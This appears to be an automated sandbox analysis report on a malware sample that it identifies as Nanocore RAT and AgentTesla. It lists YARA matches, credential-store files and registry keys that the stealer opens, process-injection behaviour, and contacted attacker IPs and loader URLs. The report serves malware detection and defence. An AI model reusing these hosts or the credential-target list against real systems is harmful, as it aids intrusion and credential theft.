Source: Yara match File source: 00000023.00000000.503266218.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000000.479787922.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000002.535329711.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000000.504860007.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000000.478666137.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.360358801.00000000035A8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000000.355643671.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000002.534538183.0000000002E94000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000002.534481015.0000000002E43000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.490929269.0000000002F31000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000002.537338429.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: TM57812337.exe PID: 6460, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: InstallUtil.exe PID: 3700, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: Qjarsxlh.exe PID: 3216, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: Qjarsxlh.exe PID: 1300, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: InstallUtil.exe PID: 6404, type: MEMORYSTR
Yara detected Nanocore RAT
Source: Yara match File source: 32.2.InstallUtil.exe.3fb455d.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3f05380.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 32.0.InstallUtil.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 32.0.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3eb5360.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3f05380.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 32.0.InstallUtil.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 32.0.InstallUtil.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 32.0.InstallUtil.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3eb5360.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 32.2.InstallUtil.exe.3faff34.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3e8d340.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 32.2.InstallUtil.exe.3fab0fe.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 32.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 32.2.InstallUtil.exe.3faff34.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3e8d340.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000020.00000000.473733509.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000002.490004111.0000000002F61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000000.472431522.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000002.488350765.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000000.472817757.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000000.473252440.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.476158261.0000000003F05000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000002.490307943.0000000003F69000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.476008629.0000000003E66000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.475883360.0000000003D99000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: Qqsucntzxgqwkiqkvrafiufflip.exe PID: 6528, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: InstallUtil.exe PID: 6288, type: MEMORYSTR
Tries to steal Mail credentials (via file / registry access)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions Jump to behavior
Tries to harvest and steal ftp login credentials
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml Jump to behavior
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: 00000021.00000002.534481015.0000000002E43000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.490929269.0000000002F31000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000002.537338429.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: InstallUtil.exe PID: 3700, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: InstallUtil.exe PID: 6404, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected AgentTesla
Source: Yara match File source: 14.0.InstallUtil.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 33.0.InstallUtil.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.Qjarsxlh.exe.3b87b90.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 33.0.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 33.0.InstallUtil.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.Qjarsxlh.exe.4417b90.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.Qjarsxlh.exe.3b87b90.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 33.0.InstallUtil.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.0.InstallUtil.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 33.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.0.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.TM57812337.exe.3637b90.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.Qjarsxlh.exe.4417b90.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.0.InstallUtil.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.TM57812337.exe.3637b90.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.0.InstallUtil.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 33.0.InstallUtil.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000010.00000002.507868874.0000000002B34000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000000.357836430.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.490555002.0000000004417000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.490354545.0000000004388000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000000.356252720.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000000.479060182.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000002.509482353.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.508036499.0000000003AF8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000000.356883933.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000000.479438317.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.360421539.0000000003637000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.489012669.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000000.504053128.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.508115512.0000000003B87000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.489735823.00000000033A9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000000.506069217.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000000.503266218.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000000.479787922.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000002.535329711.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000000.504860007.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000000.478666137.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.360358801.00000000035A8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000000.355643671.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000002.534538183.0000000002E94000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000002.534481015.0000000002E43000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.490929269.0000000002F31000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000002.537338429.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: TM57812337.exe PID: 6460, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: InstallUtil.exe PID: 3700, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: Qjarsxlh.exe PID: 3216, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: Qjarsxlh.exe PID: 1300, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: InstallUtil.exe PID: 6404, type: MEMORYSTR
Detected Nanocore Rat
Source: Qqsucntzxgqwkiqkvrafiufflip.exe, 0000000C.00000002.475784725.0000000002E04000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: NanoCore.ClientPluginHost
Source: Qqsucntzxgqwkiqkvrafiufflip.exe, 0000000C.00000002.476008629.0000000003E66000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: NanoCore.ClientPluginHost
Source: Qqsucntzxgqwkiqkvrafiufflip.exe, 0000000C.00000002.476158261.0000000003F05000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: NanoCore.ClientPluginHost
Source: InstallUtil.exe, 00000020.00000002.490004111.0000000002F61000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: NanoCore.ClientPluginHost
Source: InstallUtil.exe, 00000020.00000002.490004111.0000000002F61000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: <Module>mscorlibMicrosoft.VisualBasicMyApplicationNanoCore.MyMyComputerMyProjectMyWebServicesThreadSafeObjectProvider`1IClientNetworkNanoCore.ClientPluginIClientDataIClientAppIClientDataHostNanoCore.ClientPluginHostIClientNetworkHostIClientUIHostIClientLoggingHostIClientAppHostIClientNameObjectCollectionNanoCoreIClientReadOnlyNameObjectCollectionClientInvokeDelegateMicrosoft.VisualBasic.ApplicationServicesApplicationBase.ctorMicrosoft.VisualBasic.DevicesComputerSystemObject.cctorget_Computerm_ComputerObjectProviderget_Applicationm_AppObjectProviderUserget_Userm_UserObjectProviderget_WebServicesm_MyWebServicesObjectProviderApplicationWebServicesEqualsoGetHashCodeTypeGetTypeToStringCreate__Instance__TinstanceDispose__Instance__get_GetInstanceMicrosoft.VisualBasic.MyServices.InternalContextValue`1m_ContextGetInstanceReadPacketpipeNameparamsPipeCreatedPipeClosedConnectionStateChangedconnectedConnectionFailedhostportBuildingHostCacheVariableChangednameClientSettingChangedPluginUninstallingClientUninstallingget_Variablesget_ClientSettingsget_BuilderSettingsVariablesClientSettingsBuilderSettingsget_ConnectedClosePipePipeExistsRebuildHostCacheAddHostEntryDisconnectSendToServercompressConnectedInvokemethodstateLogClientMessagemessageExceptionLogClientExceptionexsiteRestartShutdownDisableProtectionRestoreProtectionUninstallEntryExistsSystem.Collections.GenericKeyValuePair`2GetEntriesGetValuedefaultValueSetValuevalueRemoveValueMulticastDelegateTargetObjectTargetMethodIAsyncResultAsyncCallbackBeginInvokeDelegateCallbackDelegateAsyncStateEndInvokeDelegateAsyncResultSystem.ComponentModelEditorBrowsableAttributeEditorBrowsableStateSystem.CodeDom.CompilerGeneratedCodeAttributeSystem.DiagnosticsDebuggerHiddenAttributeMicrosoft.VisualBasic.CompilerServicesStandardModuleAttributeHideModuleNameAttributeSystem.ComponentModel.DesignHelpKeywordAttributeSystem.Runtime.CompilerServicesRuntimeHelpersGetObjectValueRuntimeTypeHandleGetTypeFromHandleActivatorCreateInstanceMyGroupCollectionAttributeget_Valueset_ValueSystem.Runtime.InteropServicesComVisibleAttributeParamArrayAttributeCompilationRelaxationsAttributeRuntimeCompatibilityAttributeSystem.ReflectionAssemblyFileVersionAttributeGuidAttributeAssemblyTrademarkAttributeAssemblyCopyrightAttributeAssemblyProductAttributeAssemblyCompanyAttributeAssemblyDescriptionAttributeAssemblyTitleAttributeClientPluginClientPlugin.dll
Source: InstallUtil.exe, 00000020.00000002.491043035.0000000006090000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: NanoCore.ClientPluginHost
Source: InstallUtil.exe, 00000020.00000002.491043035.0000000006090000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: <Module>mscorlibMicrosoft.VisualBasicMyApplicationNanoCore.MyMyComputerMyProjectMyWebServicesThreadSafeObjectProvider`1IClientNetworkNanoCore.ClientPluginIClientDataIClientAppIClientDataHostNanoCore.ClientPluginHostIClientNetworkHostIClientUIHostIClientLoggingHostIClientAppHostIClientNameObjectCollectionNanoCoreIClientReadOnlyNameObjectCollectionClientInvokeDelegateMicrosoft.VisualBasic.ApplicationServicesApplicationBase.ctorMicrosoft.VisualBasic.DevicesComputerSystemObject.cctorget_Computerm_ComputerObjectProviderget_Applicationm_AppObjectProviderUserget_Userm_UserObjectProviderget_WebServicesm_MyWebServicesObjectProviderApplicationWebServicesEqualsoGetHashCodeTypeGetTypeToStringCreate__Instance__TinstanceDispose__Instance__get_GetInstanceMicrosoft.VisualBasic.MyServices.InternalContextValue`1m_ContextGetInstanceReadPacketpipeNameparamsPipeCreatedPipeClosedConnectionStateChangedconnectedConnectionFailedhostportBuildingHostCacheVariableChangednameClientSettingChangedPluginUninstallingClientUninstallingget_Variablesget_ClientSettingsget_BuilderSettingsVariablesClientSettingsBuilderSettingsget_ConnectedClosePipePipeExistsRebuildHostCacheAddHostEntryDisconnectSendToServercompressConnectedInvokemethodstateLogClientMessagemessageExceptionLogClientExceptionexsiteRestartShutdownDisableProtectionRestoreProtectionUninstallEntryExistsSystem.Collections.GenericKeyValuePair`2GetEntriesGetValuedefaultValueSetValuevalueRemoveValueMulticastDelegateTargetObjectTargetMethodIAsyncResultAsyncCallbackBeginInvokeDelegateCallbackDelegateAsyncStateEndInvokeDelegateAsyncResultSystem.ComponentModelEditorBrowsableAttributeEditorBrowsableStateSystem.CodeDom.CompilerGeneratedCodeAttributeSystem.DiagnosticsDebuggerHiddenAttributeMicrosoft.VisualBasic.CompilerServicesStandardModuleAttributeHideModuleNameAttributeSystem.ComponentModel.DesignHelpKeywordAttributeSystem.Runtime.CompilerServicesRuntimeHelpersGetObjectValueRuntimeTypeHandleGetTypeFromHandleActivatorCreateInstanceMyGroupCollectionAttributeget_Valueset_ValueSystem.Runtime.InteropServicesComVisibleAttributeParamArrayAttributeCompilationRelaxationsAttributeRuntimeCompatibilityAttributeSystem.ReflectionAssemblyFileVersionAttributeGuidAttributeAssemblyTrademarkAttributeAssemblyCopyrightAttributeAssemblyProductAttributeAssemblyCompanyAttributeAssemblyDescriptionAttributeAssemblyTitleAttributeClientPluginClientPlugin.dll
Source: InstallUtil.exe, 00000020.00000000.473733509.0000000000402000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: NanoCore.ClientPluginHost
Source: InstallUtil.exe, 00000020.00000002.490307943.0000000003F69000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: NanoCore.ClientPluginHost
Source: InstallUtil.exe, 00000020.00000002.490307943.0000000003F69000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: <Module>mscorlibMicrosoft.VisualBasicMyApplicationNanoCore.MyMyComputerMyProjectMyWebServicesThreadSafeObjectProvider`1IClientNetworkNanoCore.ClientPluginIClientDataIClientAppIClientDataHostNanoCore.ClientPluginHostIClientNetworkHostIClientUIHostIClientLoggingHostIClientAppHostIClientNameObjectCollectionNanoCoreIClientReadOnlyNameObjectCollectionClientInvokeDelegateMicrosoft.VisualBasic.ApplicationServicesApplicationBase.ctorMicrosoft.VisualBasic.DevicesComputerSystemObject.cctorget_Computerm_ComputerObjectProviderget_Applicationm_AppObjectProviderUserget_Userm_UserObjectProviderget_WebServicesm_MyWebServicesObjectProviderApplicationWebServicesEqualsoGetHashCodeTypeGetTypeToStringCreate__Instance__TinstanceDispose__Instance__get_GetInstanceMicrosoft.VisualBasic.MyServices.InternalContextValue`1m_ContextGetInstanceReadPacketpipeNameparamsPipeCreatedPipeClosedConnectionStateChangedconnectedConnectionFailedhostportBuildingHostCacheVariableChangednameClientSettingChangedPluginUninstallingClientUninstallingget_Variablesget_ClientSettingsget_BuilderSettingsVariablesClientSettingsBuilderSettingsget_ConnectedClosePipePipeExistsRebuildHostCacheAddHostEntryDisconnectSendToServercompressConnectedInvokemethodstateLogClientMessagemessageExceptionLogClientExceptionexsiteRestartShutdownDisableProtectionRestoreProtectionUninstallEntryExistsSystem.Collections.GenericKeyValuePair`2GetEntriesGetValuedefaultValueSetValuevalueRemoveValueMulticastDelegateTargetObjectTargetMethodIAsyncResultAsyncCallbackBeginInvokeDelegateCallbackDelegateAsyncStateEndInvokeDelegateAsyncResultSystem.ComponentModelEditorBrowsableAttributeEditorBrowsableStateSystem.CodeDom.CompilerGeneratedCodeAttributeSystem.DiagnosticsDebuggerHiddenAttributeMicrosoft.VisualBasic.CompilerServicesStandardModuleAttributeHideModuleNameAttributeSystem.ComponentModel.DesignHelpKeywordAttributeSystem.Runtime.CompilerServicesRuntimeHelpersGetObjectValueRuntimeTypeHandleGetTypeFromHandleActivatorCreateInstanceMyGroupCollectionAttributeget_Valueset_ValueSystem.Runtime.InteropServicesComVisibleAttributeParamArrayAttributeCompilationRelaxationsAttributeRuntimeCompatibilityAttributeSystem.ReflectionAssemblyFileVersionAttributeGuidAttributeAssemblyTrademarkAttributeAssemblyCopyrightAttributeAssemblyProductAttributeAssemblyCompanyAttributeAssemblyDescriptionAttributeAssemblyTitleAttributeClientPluginClientPlugin.dll
Yara detected Nanocore RAT
Source: Yara match File source: 32.2.InstallUtil.exe.3fb455d.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3f05380.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 32.0.InstallUtil.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 32.0.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3eb5360.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3f05380.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 32.0.InstallUtil.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 32.0.InstallUtil.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 32.0.InstallUtil.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3eb5360.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 32.2.InstallUtil.exe.3faff34.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3e8d340.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 32.2.InstallUtil.exe.3fab0fe.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 32.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 32.2.InstallUtil.exe.3faff34.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3e8d340.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000020.00000000.473733509.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000002.490004111.0000000002F61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000000.472431522.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000002.488350765.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000000.472817757.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000000.473252440.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.476158261.0000000003F05000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000002.490307943.0000000003F69000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.476008629.0000000003E66000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.475883360.0000000003D99000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: Qqsucntzxgqwkiqkvrafiufflip.exe PID: 6528, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: InstallUtil.exe PID: 6288, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 635102 Sample: TM57812337.exe Startdate: 27/05/2022 Architecture: WINDOWS Score: 100 78 Snort IDS alert for network traffic 2->78 80 Malicious sample detected (through community Yara rule) 2->80 82 Antivirus detection for URL or domain 2->82 84 11 other signatures 2->84 8 TM57812337.exe 16 8 2->8         started        13 Qjarsxlh.exe 14 4 2->13         started        15 Qjarsxlh.exe 2->15         started        17 2 other processes 2->17 process3 dnsIp4 76 3.124.188.36, 49718, 49753, 49761 AMAZON-02US United States 8->76 66 C:\Users\user\AppData\Local\...\Qjarsxlh.exe, PE32 8->66 dropped 68 C:\Users\...\Qqsucntzxgqwkiqkvrafiufflip.exe, PE32 8->68 dropped 70 C:\Users\...\Qjarsxlh.exe:Zone.Identifier, ASCII 8->70 dropped 72 C:\Users\user\AppData\...\TM57812337.exe.log, ASCII 8->72 dropped 106 Creates multiple autostart registry keys 8->106 108 Writes to foreign memory regions 8->108 110 Allocates memory in foreign processes 8->110 19 InstallUtil.exe 16 4 8->19         started        24 Qqsucntzxgqwkiqkvrafiufflip.exe 15 6 8->24         started        26 cmd.exe 1 8->26         started        112 Multi AV Scanner detection for dropped file 13->112 114 Machine Learning detection for dropped file 13->114 116 Injects a PE file into a foreign processes 13->116 28 InstallUtil.exe 13->28         started        30 cmd.exe 13->30         started        32 cmd.exe 15->32         started        118 Document exploit detected (process start blacklist hit) 17->118 120 Injects files into Windows application 17->120 34 conhost.exe 17->34         started        file5 signatures6 process7 dnsIp8 74 45.133.1.41, 49763, 49768, 80 DEDIPATH-LLCUS Netherlands 19->74 60 C:\Users\user\AppData\Roaming\...\excel.exe, PE32 19->60 dropped 86 Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc) 19->86 88 Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines) 19->88 90 Tries to steal Mail credentials (via file / registry access) 19->90 100 4 other signatures 19->100 62 C:\Users\user\AppData\Roaming\...\Qylfpmj.exe, PE32 24->62 dropped 92 Multi AV Scanner detection for dropped file 24->92 94 Machine Learning detection for dropped file 24->94 96 Creates multiple autostart registry keys 24->96 102 3 other signatures 24->102 36 InstallUtil.exe 24->36         started        40 cmd.exe 24->40         started        42 conhost.exe 26->42         started        44 timeout.exe 1 26->44         started        98 Hides that the sample has been downloaded from the Internet (zone.identifier) 28->98 46 conhost.exe 30->46         started        48 timeout.exe 30->48         started        50 conhost.exe 32->50         started        52 timeout.exe 32->52         started        file9 signatures10 process11 file12 64 C:\Users\user\AppData\Roaming\...\run.dat, data 36->64 dropped 104 Hides that the sample has been downloaded from the Internet (zone.identifier) 36->104 54 conhost.exe 40->54         started        56 timeout.exe 40->56         started        58 conhost.exe 42->58         started        signatures13 process14
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
3.124.188.36
 unknown United States
16509 AMAZON-02US true
45.133.1.41
 unknown Netherlands
35913 DEDIPATH-LLCUS true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://45.133.1.41/jah/inc/9f3d37faadd0a5.php true
  • Avira URL Cloud: malware
 unknown
http://3.124.188.36/bay/loader/uploads/TM57812337_Nbfpwrzt.bmp true
  • Avira URL Cloud: safe
 unknown
http://3.124.188.36/bay/loader/uploads/flip_Jozgxzue.jpg true
  • Avira URL Cloud: safe
 unknown